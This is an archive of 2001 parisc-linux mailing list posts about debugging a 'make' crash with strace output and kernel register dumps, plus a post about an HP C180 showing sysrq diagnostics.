stat64("../lib/rpmlib.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../lib", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x5e000)                            = 0x5e000
getdents64(0x3, 0x5b130, 0x1000)        = 1736
getdents64(0x3, 0x5b130, 0x1000)        = 0
close(3)                                = 0
stat64("../lib/RCS", 0xbff028c8)        = -1 ENOENT (No such file or directory)
stat64("../lib/SCCS", 0xbff028c8)       = -1 ENOENT (No such file or directory)
stat64("../rpmio/rpmio.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../rpmio", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(0x3, 0x5b130, 0x1000)        = 1704
getdents64(0x3, 0x5b130, 0x1000)        = 0
close(3)                                = 0
stat64("../rpmio/RCS", 0xbff028c8)      = -1 ENOENT (No such file or directory)
stat64("../rpmio/SCCS", 0xbff028c8)     = -1 ENOENT (No such file or directory)
stat64("../rpmio/rpmmessages.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmlog.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmerr.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/header.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/hdrinline.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../popt/popt.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../popt", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../popt", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(0x3, 0x5c510, 0x1000)        = 2008
getdents64(0x3, 0x5c510, 0x1000)        = 0
close(3)                                = 0
stat64("../popt/RCS", 0xbff028c8)       = -1 ENOENT (No such file or directory)
stat64("../popt/SCCS", 0xbff028c8)      = -1 ENOENT (No such file or directory)
stat64("../rpmio/rpmmacro.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmdb.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("fprint.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmhash.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../debug.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("fprint.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("fprint.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("poptDB.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("poptDB.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/rpmcli.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmurl.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmhash.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("rpmhash.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmdb.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("rpmdb.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/misc.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/ugid.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("db3.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("db3.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("db1.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("db1.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmio_internal.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("falloc.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("falloc.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("falloc.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64(".created", 0xbff023c8)          = -1 ENOENT (No such file or directory)
pipe([3, 4])                            = 0
fork()                                  = 4207
--- SIGCHLD (Child exited) ---
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Here it ends with a SEGV.   strace seems to change the behaviour ?  I then
tried strace -f and got (I hung, I had to break it. The last line repeating
forever):


execve("/usr/bin/make", ["make"], [/* 17 vars */]) = 0
newuname({sys="Linux", node="bofh", ...}) = 0
brk(0)                                  = 0x44000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 7438, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\300"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
mmap(NULL, 1417616, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002a000
mprotect(0x40167000, 119184, PROT_NONE) = 0
mmap(0x40176000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x13c000) = 0x40176000
mmap(0x40181000, 12688, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40181000
close(3)                                = 0
mprotect(0x10000, 135168, PROT_READ|PROT_WRITE) = 0
mprotect(0x10000, 135168, PROT_READ|PROT_EXEC) = 0
munmap(0x40019000, 7438)                = 0
getpid()                                = 4248
brk(0)                                  = 0x44000
brk(0x44030)                            = 0x44030
brk(0x45000)                            = 0x45000
rt_sigaction(SIGHUP, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXCPU, {0x40c2e, [HUP], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x40c2e, [INT], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
getcwd("/root/rpm-4.0.3/rpmdb", 4095)   = 22
stat64("/usr/include", {st_mode=0, st_size=0, ...}) = 0
stat64("/usr/gnu/include", 0xbff01cc8)  = -1 ENOENT (No such file or directory)
stat64("/usr/local/include", {st_mode=0, st_size=50, ...}) = 0
stat64("/usr/include", {st_mode=0, st_size=0, ...}) = 0
rt_sigaction(SIGCHLD, {0x40dae, [], SA_INTERRUPT}, NULL, 8) = 0
rt_sigaction(SIGUSR1, {0x40ace, [], SA_RESTART}, {SIG_DFL}, 8) = 0
brk(0x46000)                            = 0x46000
brk(0x47000)                            = 0x47000
brk(0x48000)                            = 0x48000
stat64(".", {st_mode=0, st_size=9281424328817, ...}) = 0
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x4a000)                            = 0x4a000
getdents64(0x3, 0x47e70, 0x1000)        = 1128
getdents64(0x3, 0x47e70, 0x1000)        = 0
close(3)                                = 0
open("Makefile", O_RDONLY|O_LARGEFILE)  = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40019000
read(3, "# Generated automatically from M"..., 4096) = 4096
brk(0x4b000)                            = 0x4b000
read(3, " yes\nVERSION = 4.0.3\nWITH_APIDOC"..., 4096) = 4096
brk(0x4c000)                            = 0x4c000
brk(0x4d000)                            = 0x4d000
read(3, "n-compile:\n\t-rm -f *.o core *.co"..., 4096) = 4096
brk(0x4e000)                            = 0x4e000
brk(0x4f000)                            = 0x4f000
brk(0x50000)                            = 0x50000
brk(0x51000)                            = 0x51000
brk(0x52000)                            = 0x52000
read(3, "og.h \\\n\t../rpmio/rpmerr.h ../lib"..., 4096) = 3537
brk(0x53000)                            = 0x53000
brk(0x54000)                            = 0x54000
brk(0x55000)                            = 0x55000
brk(0x56000)                            = 0x56000
brk(0x57000)                            = 0x57000
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x40019000, 4096)                = 0
stat64("RCS", 0xbff01d88)               = -1 ENOENT (No such file or directory)
stat64("SCCS", 0xbff01d88)              = -1 ENOENT (No such file or directory)
stat64("Makefile", {st_mode=0, st_size=0, ...}) = 0
time(NULL)                              = 1001464482
stat64("Makefile.in", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("Makefile.am", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../configure.in", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("..", {st_mode=0, st_size=9281424328817, ...}) = 0
open("..", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x59000)                            = 0x59000
getdents64(0x3, 0x56b80, 0x1000)        = 2520
getdents64(0x3, 0x56b80, 0x1000)        = 0
close(3)                                = 0
stat64("../RCS", 0xbff02440)            = -1 ENOENT (No such file or directory)
stat64("../SCCS", 0xbff02440)           = -1 ENOENT (No such file or directory)
stat64("../config.status", {st_mode=0, st_size=0, ...}) = 0
stat64("librpmdb.la", 0xbff02248)       = -1 ENOENT (No such file or directory)
stat64("dbconfig.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("dbconfig.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../system.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../config.h", {st_mode=0, st_size=0, ...}) = 0
stat64("../db3/db.h", {st_mode=0, st_size=0, ...}) = 0
stat64("../db3", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../db3", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(0x3, 0x56b80, 0x1000)        = 4064
getdents64(0x3, 0x56b80, 0x1000)        = 4080
brk(0x5a000)                            = 0x5a000
getdents64(0x3, 0x56b80, 0x1000)        = 4040
brk(0x5b000)                            = 0x5b000
brk(0x5c000)                            = 0x5c000
getdents64(0x3, 0x56b80, 0x1000)        = 0
close(3)                                = 0
stat64("../db3/RCS", 0xbff028c8)        = -1 ENOENT (No such file or directory)
stat64("../db3/SCCS", 0xbff028c8)       = -1 ENOENT (No such file or directory)
stat64("../lib/rpmlib.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../lib", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x5e000)                            = 0x5e000
getdents64(0x3, 0x5b150, 0x1000)        = 1736
getdents64(0x3, 0x5b150, 0x1000)        = 0
close(3)                                = 0
stat64("../lib/RCS", 0xbff028c8)        = -1 ENOENT (No such file or directory)
stat64("../lib/SCCS", 0xbff028c8)       = -1 ENOENT (No such file or directory)
stat64("../rpmio/rpmio.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../rpmio", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(0x3, 0x5b150, 0x1000)        = 1704
getdents64(0x3, 0x5b150, 0x1000)        = 0
close(3)                                = 0
stat64("../rpmio/RCS", 0xbff028c8)      = -1 ENOENT (No such file or directory)
stat64("../rpmio/SCCS", 0xbff028c8)     = -1 ENOENT (No such file or directory)
stat64("../rpmio/rpmmessages.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmlog.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmerr.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/header.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/hdrinline.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../popt/popt.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../popt", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../popt", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(0x3, 0x5c530, 0x1000)        = 2008
getdents64(0x3, 0x5c530, 0x1000)        = 0
close(3)                                = 0
stat64("../popt/RCS", 0xbff028c8)       = -1 ENOENT (No such file or directory)
stat64("../popt/SCCS", 0xbff028c8)      = -1 ENOENT (No such file or directory)
stat64("../rpmio/rpmmacro.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmdb.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("fprint.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmhash.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../debug.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("fprint.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("fprint.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("poptDB.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("poptDB.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/rpmcli.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmurl.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmhash.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("rpmhash.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("rpmdb.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("rpmdb.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../lib/misc.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/ugid.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("db3.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("db3.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("db1.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("db1.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../rpmio/rpmio_internal.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("falloc.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("falloc.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("falloc.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64(".created", 0xbff023c8)          = -1 ENOENT (No such file or directory)
pipe([3, 4])                            = 0
fork()                                  = 4249
[pid  4248] close(4)                    = 0
[pid  4248] read(3,  <unfinished ...>
[pid  4249] dup2(4, 1)                  = 1
[pid  4249] close(4)                    = 0
[pid  4249] execve("/usr/local/sbin/cat", ["cat", "../db3/db3lobjs"], [/* 17 vars */]) = -1 ENOENT (No such file or directory)
[pid  4249] execve("/usr/local/bin/cat", ["cat", "../db3/db3lobjs"], [/* 17 vars */]) = -1074779704
[pid  4249] execve("/usr/bin/cat", ["cat", "../db3/db3lobjs"], [/* 17 vars */]) = -1 ENOENT (No such file or directory)
[pid  4249] execve("/sbin/cat", ["cat", "../db3/db3lobjs"], [/* 17 vars */]) = -1074779699
[pid  4249] execve("", [ptrace: umoven: Input/output error
0x2], [/* 2 vars */]) = 1073908880
[pid  4249] brk(0)                      = 0x23000
[pid  4249] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid  4249] open("/etc/ld.so.cache", O_RDONLY) = 4
[pid  4249] fstat64(4, {st_mode=0, st_size=0, ...}) = 0
[pid  4249] mmap(NULL, 7438, PROT_READ, MAP_PRIVATE, 4, 0) = 0x40019000
[pid  4249] close(4)                    = 0
[pid  4249] open("/lib/libc.so.6", O_RDONLY) = 4
[pid  4249] read(4, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\300"..., 1024) = 1024
[pid  4249] fstat64(4, {st_mode=0, st_size=0, ...}) = 0
[pid  4249] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
[pid  4249] mmap(NULL, 1417616, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x4002a000
[pid  4249] mprotect(0x40167000, 119184, PROT_NONE) = 0
[pid  4249] mmap(0x40176000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0x13c000) = 0x40176000
[pid  4249] mmap(0x40181000, 12688, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40181000
[pid  4249] close(4)                    = 0
[pid  4249] mprotect(0x10000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  4249] mprotect(0x10000, 12288, PROT_READ|PROT_EXEC) = 0
[pid  4249] munmap(0x40019000, 7438)    = 0
[pid  4249] getpid()                    = 4249
[pid  4249] brk(0)                      = 0x23000
[pid  4249] brk(0x23030)                = 0x23030
[pid  4249] brk(0x24000)                = 0x24000
[pid  4249] fstat64(1, {st_mode=0, st_size=0, ...}) = 0
[pid  4249] open("../db3/db3lobjs", O_RDONLY|O_LARGEFILE) = 4
[pid  4249] fstat64(4, {st_mode=0, st_size=0, ...}) = 0
[pid  4249] brk(0x26000)                = 0x26000
[pid  4249] read(4, "mut_fcntl.lo client.lo db_server"..., 4096) = 1735
[pid  4249] write(1, "mut_fcntl.lo client.lo db_server"..., 1735) = 1735
[pid  4249] read(4, "", 4096)           = 0
[pid  4249] close(4)                    = 0
[pid  4249] close(1)                    = 0
[pid  4249] exit(0)                     = ?
<... read resumed> "mut_fcntl.lo client.lo db_server"..., 200) = 200
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200
rt_sigreturn(0)                         = 200



-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trace/breakpoint trap
Date: Wed, 26 Sep 2001 01:16:13 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <20010926011613.A18474@hp.is>
References: <20010925234225.A18261@hp.is> <ra@hp.is> <20010926001857.1BAF937C8D@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620517 26144 80.91.229.3 (22 Nov 2014 01:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 19:17:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C04C48C4
	for <parisc-linux@parisc-linux.org>; Tue, 25 Sep 2001 19:17:17 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8Q1GDP18479;
	Wed, 26 Sep 2001 01:16:13 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010926001857.1BAF937C8D@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Tue, Sep 25, 2001 at 06:18:57PM -0600
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12298

On Tue, Sep 25, 2001 at 06:18:57PM -0600, Matt Taggart wrote:
> Try it with strace and post the results. Was anything printed on the console?

Im as thick as they come.   Ofcource kernel messages are in dmesg...

Lots and lots of the following:


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001011
r0-3	 00000000 00040130 bff028b8 bff02818
r4-7	 000000c8 40176434 0005d5a0 0004beb6
r8-11	 00000001 0004be88 000401ec bff02790
r12-15	 00000028 00000029 bff02690 00000000
r16-19	 00000000 00043130 0002a800 00000000
r20-23	 000000ad 40106c54 40178e50 40178e30
r24-27	 00000005 00000001 00000000 00040130
r28-31	 000000c8 0005d598 bff02b38 00019ca4
sr0-3	 00000132 0000012f 00000000 00000132
sr4-7	 00000132 00000132 00000132 00000132

IASQ: 00000132 00000132 IAOQ: bff02cd7 bff03d83
 IIR: 00000000    ISR: 00000132  IOR: 00000000
 CPU:        0   CR30: 1bef0000 CR31: 10358000
 ORIG_R28: 40176434
break 0,0: pid=4248 command='make'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000011000000000000001011
r0-3	 00000000 00040130 bff028b8 bff02818
r4-7	 000000c8 40176434 0005d5a0 0004beb6
r8-11	 00000001 0004be88 000401ec bff02790
r12-15	 00000028 00000029 bff02690 00000000
r16-19	 00000000 00043130 0002a800 00000000
r20-23	 000000ad 40106c54 40178e50 40178e30
r24-27	 00000005 00000001 00000000 00040130
r28-31	 000000c8 0005d598 bff02b38 00019ca4
sr0-3	 00000132 0000012f 00000000 00000132
sr4-7	 00000132 00000132 00000132 00000132

IASQ: 00000132 00000132 IAOQ: bff02cd7 bff03d83
 IIR: 00000000    ISR: 00000132  IOR: 00000000
 CPU:        0   CR30: 1bef0000 CR31: 10358000
 ORIG_R28: 40176434
break 0,0: pid=4248 command='make'



-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Betr.: Re: [parisc-linux] Trace/breakpoint trap
Date: Wed, 26 Sep 2001 08:05:23 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <sbb18da2.042@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620517 26148 80.91.229.3 (22 Nov 2014 01:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:57 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 00:12:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.zrt.nl (ns.zrt.nl [212.153.94.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A5CB4834
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 00:12:48 -0600 (MDT)
Original-Received: (from fwmaster@localhost) by ns.zrt.nl (8.9.1a/8.6.12) id IAA25085 for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 08:12:46 +0200 (MET DST)
Original-Received: by zrt01.zrt.nl via smap (V1.3)
	id sma024928; Wed, 26 Sep 01 08:11:37 +0200
Original-Received: from Rivierenland-Message_Server by ms-zrt1
	with Novell_GroupWise; Wed, 26 Sep 2001 08:11:14 +0200
X-Mailer: Novell GroupWise 5.5.2
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:12299

>On Tue, Sep 25, 2001 at 06:18:57PM -0600, Matt Taggart wrote:
>>=20
>> Richard Allen writes...
>>=20
>> > Here's a wild one:
>> >=20
>> > bofh:~/rpm-4.0.3/rpmdb# make
>> > Trace/breakpoint trap
>> > bofh:~/rpm-4.0.3/rpmdb# echo $?
>> > 133
>> > bofh:~/rpm-4.0.3/rpmdb#
>>=20
<snip>

>[pid  4249] close(4)                    =3D 0
>[pid  4249] close(1)                    =3D 0
>[pid  4249] exit(0)                     =3D ?
><... read resumed> "mut_fcntl.lo client.lo db_server"..., 200) =3D 200
>--- SIGCHLD (Child exited) ---
>rt_sigreturn(0)                         =3D 200
>rt_sigreturn(0)                         =3D 200
<snip>

I have exactly the same on my C200+, since 2.4.9-<who knows>, but it went
away when I didn't compile the kernel for PA8x00, but for the default =
value
of PA7100. That means it may be something in the kernel, or some gcc bug.
In my case, a 'make mrproper' in the kernel source directory triggered it.

I have posted it to this list, some weeks ago (under much the same =
subject).

Perhaps recompiling your kernel also fixes it?

Good luck,
Jurriaan





From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP C180
Date: Wed, 26 Sep 2001 02:15:15 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0109260213000.25631-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620517 26150 80.91.229.3 (22 Nov 2014 01:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:57 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 26 00:15:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 54A644834
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 00:15:17 -0600 (MDT)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id CAA29000
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 02:15:15 -0400
X-Sender: nick@ns
Xref: news.gmane.org gmane.linux.ports.parisc:12300

My c180 is now happily booting (current CVS kernel), however whenever I
try to ls some dirs (no all, this example is from /usr/bin) I get errors
along these lines
ls: memory exhausted
init-2.04# ls ap*
./apt-get


SysRq: Boot Sync Unmount showPc showTasks showMem loglevel0-8 tErm kIll
killalL
SysRq: Show Regs
SysRq: Show State

                         free                        sibling
  task             PC    stack   pid father child younger older
init          R current      0     1      0    10       3       (NOTLB)
keventd       S 00ABCDEF     0     2      1             9       (L-TLB)
ksoftirqd_CPU S 00ABCDEF     0     3      0             4     1 (L-TLB)
kswapd        S 00ABCDEF     0     4      0             5     3 (L-TLB)
kreclaimd     S 00ABCDEF     0     5      0             6     4 (L-TLB)
bdflush       S 00ABCDEF     0     6      0             7     5 (L-TLB)
kupdated      S 00ABCDEF     0     7      0                   6 (L-TLB)
mdrecoveryd   S 00ABCDEF     0     9      1            10     2 (L-TLB)
rpciod        S 00ABCDEF     0    10      1                   9 (L-TLB)
SysRq: Show Memory
Mem-info:
Free pages:      118612kB (     0kB HighMem)
( Active: 491, inactive_dirty: 861, inactive_clean: 0, free: 29653 (255
510 765) )
